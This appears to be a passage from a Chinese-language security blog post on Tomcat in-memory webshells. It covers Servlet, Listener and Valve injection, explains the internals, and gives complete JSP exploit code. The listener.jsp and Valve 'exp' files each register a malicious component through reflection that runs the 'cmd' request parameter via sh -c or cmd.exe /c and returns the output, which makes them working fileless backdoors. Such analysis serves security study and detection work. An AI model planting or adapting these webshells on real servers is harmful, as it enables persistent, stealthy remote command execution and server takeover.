<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
<% Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(servlet.getClass().getName()); wrapper.setServlet(servlet); %>
<% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/ycxlo",servlet.getClass().getName()); %>
|
Listener型内存马
listener能够监听一些事件从而来达到一些效果。在请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
ServletContext,服务器启动和终止时触发
Session,有关Session操作时触发
Request,访问服务时触发
request只要访问服务就能触发,所以listener的request方式最适合做内存马
恶意listener构造
要构造listener必须实现EventListener接口
有很多接口继承自 EventListener ,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener
定位到一个ServletRequestListener
用于监听ServletRequest
对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized
方法这里做个demo测试下
Listener.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package listener;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class Listener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("执行了TestListener requestDestroyed"); }
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("执行了TestListener requestInitialized"); } }
|
web.xml
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <listener> <listener-class>listener.Listener</listener-class> </listener> </web-app>
|
启动tomcat服务器后,便会触发Listener的相应监听请求,访问任意的路径同样也会触发
listener流程分析
应用运行前
和之前的一样,定位到ContextConfig类configureContext方法,在与listener相关的操作下断点
调试步入,进入StandardContext类
遍历所有的listener,将我们自定义的listener赋值给applicationListeners变量,并在最后调用了fireContainerEvent方法,跟进
实例化了一个ContainerEvent对象
在最后调用了MapperListener的containerEvent方法,将自定义的Listener作为参数event的一个属性传入,继续跟进
先判断event中type的值
目前type的值为addApplicationListener,一个都对不上,回到ContextConfig类,context中将自定义的listener赋值到applicationListeners
然后后面又是一些复杂的读取进程,不管了,然后会调用到StandardContext的listenerStart方法,findApplicationListeners方法就是返回applicationListeners,也就是我们的自定义listener
应用运行过程
先在我们的requestInitialized方法处下个断点,看看调用链
发现有个fireRequestInitEvent方法,在此方法处下个断点
逻辑应该挺清楚的,返回一个applicationListener数组,然后逐个调用其requestInitialized方法
exp编写
如果我们要实现 EXP,要做哪些步骤呢?
很明显的一点是,我们的恶意代码肯定是写在对应 Listener 的requestInitialized()
方法里面的。
通过 StandardContext 类的addApplicationEventListener()
方法把恶意的 Listener 放进去。
Listener 与 Filter 的大体流程是一样的,所以我们也可以把 Listener 先放到整个 Servlet 最前面去
listener.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <%-- Created by IntelliJ IDEA. User: 杨晨鑫 Date: 2023/8/2 Time: 14:54 To change this template use File | Settings | File Templates. --%> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %>
<%! public class MyListener implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { }
public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream()); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } } %>
<% Field reqF = request.getClass().ge tDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listenerDemo = new MyListener(); context.addApplicationEventListener(listenerDemo); %>
|
Value型内存马
1 2
| Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门 整个调用过程是通过Pipeline-Valve管道进行的 ,Pipeline中有addValve方法,维护了Valve链表,Valve可以插入到Pipeline中,对请求做某些处理,Pipeline中是没有invoke方法的,因为整个调用链的触发是Valve来完成的,Valve完成自己的处理后,调用getNext().invoke()来触发下一个Valve调用
|
每个容器都有一个Pipeline对象,只要触发了这个Pipeline的第一个Valve,这个容器里的Pipeline中的Valve都会被调用到,其中,Pipeline中的getBasic
方法获取的Valve处于Valve链的末端,它是Pipeline中必不可少的一个Valve, 负责调用下层容器的Pipeline里的第一个Valve
四大组件拥有各自的管道Pipeline,一个形象的理解就是Pipeline 就相当于拦截器链,而valve就相当于拦截器。
也就是说,当我们发起请求,便会调用每一个value的invoke方法
流程分析
valve的动作定义在invoke中、通过调用this.getNext().invoke(req, resp)将请求传入下一个valve就构成了pipeline管道,类比拦截器链子,如果不调用下一个的invoke请求到此中断
而一般不采取实现valve接口的方法,而是继承ValveBase类,它简单实现了valve接口对其扩充,形成了一个简单的valve基类
StandardPipeline标准管道类有addValve方法
而前面提到:四大组件Engine/Host/Context/Wrapper都有自己的Pipeline,在ContainerBase容器基类定义了,因此只要获取四大组件之一调用add方法即可添加
CoyoteAdapter.service()获取了Pipeline的第一个Valve并且调用了invoke
原理
反射获取四大组件调用addValve方法添加恶意Valve,之后任意发起请求即可触发
通常是获取StandardContext调用addValve
- 反射从HttpRequestServlet获取Request
- 反射从Request获取StandardContext
- 反射从StandardContext获取StandardPipeline
- 调用addValve添加恶意Valve
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <%-- Created by IntelliJ IDEA. User: 杨晨鑫 Date: 2023/8/2 Time: 19:01 To change this template use File | Settings | File Templates. --%> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.InputStream" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline"); pipelineField.setAccessible(true); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
ValveBase valveBase = new ValveBase() { @Override public void invoke(Request req, Response resp){ try { if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } InputStream in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream()); Scanner s = new Scanner(in).useDelimiter("\\A"); String o = s.hasNext() ? s.next() : ""; resp.getWriter().write(o); } this.getNext().invoke(req, resp); } catch (Exception e) { e.printStackTrace(); } } };
standardPipeline1.addValve(valveBase);
out.println("evil valve inject done!"); %>
|